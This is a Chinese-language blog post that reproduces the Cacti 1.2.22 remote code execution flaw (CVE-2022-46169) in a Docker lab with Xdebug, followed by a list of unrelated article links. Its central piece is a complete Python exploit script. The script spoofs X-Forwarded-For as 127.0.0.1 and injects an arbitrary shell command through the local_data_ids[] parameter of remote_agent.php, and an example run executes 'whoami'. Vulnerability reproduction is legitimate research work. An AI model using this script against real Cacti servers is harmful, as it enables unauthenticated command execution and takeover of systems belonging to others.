当前位置: 首页 > backend >正文

Cacti RCE漏洞复现

一、环境准备
1. 创建Docker容器
首先,我们需要一个包含PHP 7.4和Cacti的Docker环境:

docker run -it --name cacti_vuln -p 80:80 -p 443:443 php:7.4-apache bash

2. 安装Xdebug

pecl install xdebug-3.1.6
docker-php-ext-enable xdebug

3. 配置Xdebug
编辑 /usr/local/etc/php/conf.d/docker-php-ext-xdebug.ini:

zend_extension=xdebug
xdebug.mode=debug
xdebug.start_with_request=yes
xdebug.client_port=9003
xdebug.client_host=host.docker.internal
xdebug.log=/tmp/xdebug.log

4. 安装Cacti

apt update && apt install -y wget unzip
wget https://www.cacti.net/downloads/cacti-1.2.22.zip
unzip cacti-1.2.22.zip -d /var/www/html/
chown -R www-data:www-data /var/www/html/cacti-1.2.22

5. 重启容器

exit
docker restart cacti_vuln

二、漏洞复现
1. 漏洞背景
Cacti 1.2.22及之前版本存在一个远程代码执行漏洞(CVE-2022-46169),攻击者可以通过精心构造的HTTP请求在服务器上执行任意命令。

2. 漏洞利用步骤
1、访问Cacti安装页面完成安装

2、使用以下Python脚本进行漏洞利用:

import requests
import sys
import urllib3
urllib3.disable_warnings()def exploit(url, cmd):headers = {"X-Forwarded-For": "127.0.0.1"}payload = f";{cmd}"params = {"action": "polldata","poller_id": "1","host_id": "1","local_data_ids[]": payload}try:r = requests.get(f"{url}/remote_agent.php", params=params, headers=headers, verify=False)print(r.text)except Exception as e:print(f"Error: {e}")if __name__ == "__main__":if len(sys.argv) != 3:print(f"Usage: {sys.argv[0]} <target_url> <command>")sys.exit(1)exploit(sys.argv[1], sys.argv[2])

3、执行命令示例:

python exploit.py http://localhost/cacti-1.2.22 "whoami"

三、VSCode调试配置
1. 安装PHP Debug扩展
在VSCode中安装PHP Debug扩展。

2. 配置launch.json

{"version": "0.2.0","configurations": [{"name": "Listen for Xdebug","type": "php","request": "launch","port": 9003,"pathMappings": {"/var/www/html": "${workspaceFolder}"},"log": true}]
}

在remote_agent.php中设置断点

 

 

 

 

 

 

 

 

http://www.xdnf.cn/news/16466.html

相关文章:

  • 【AlphaFold3】网络架构篇(2)|Input Embedding 对输入进行特征嵌入
  • halcon-blob
  • docker 入门,运行上传自己的首个镜像
  • 学习人工智能所需知识体系及路径详解
  • CTF-Web学习笔记:文件包含篇
  • java中一些数据结构的转换
  • ts学习3
  • CES Asia 2025:以创新为笔,书写亚洲科技新纪元
  • python-内存管理
  • 安宝特方案丨智能革新安全管控:AR技术赋能物流仓储行业安全升级
  • 【STM32编码器接口测速】实现测速功能
  • strcmp 与 strcpy 的深入解析
  • Day 24:元组与os模块
  • 基于Hadoop3.3.4+Flink1.17.0+FlinkCDC3.0.0+Iceberg1.5.0整合,实现数仓实时同步mysql数据
  • 基于springboot的在线购票系统/在线售票系统
  • C++ 中实现 `Task::WhenAll` 和 `Task::WhenAny` 的两种方案
  • Gradle#Plugin
  • Triton编译
  • JavaScript - 实现套索工具的demo
  • MySQL 8.0.42创建MGR集群
  • 深度学习(鱼书)day04--手写数字识别项目实战
  • OpenCL study - code03 rgb2gray
  • 通过硬编码函数地址并转换为函数指针来调用函数
  • 6.Pinia快速入门
  • Mitk教程案例项目编译
  • ROS2总结(二)
  • Flutter中 Provider 的基础用法超详细讲解(二)之ChangeNotifierProvider
  • ES6模块详解:核心语法与最佳实践
  • c++加载qml文件
  • 小架构step系列27:Hibernate提供的validator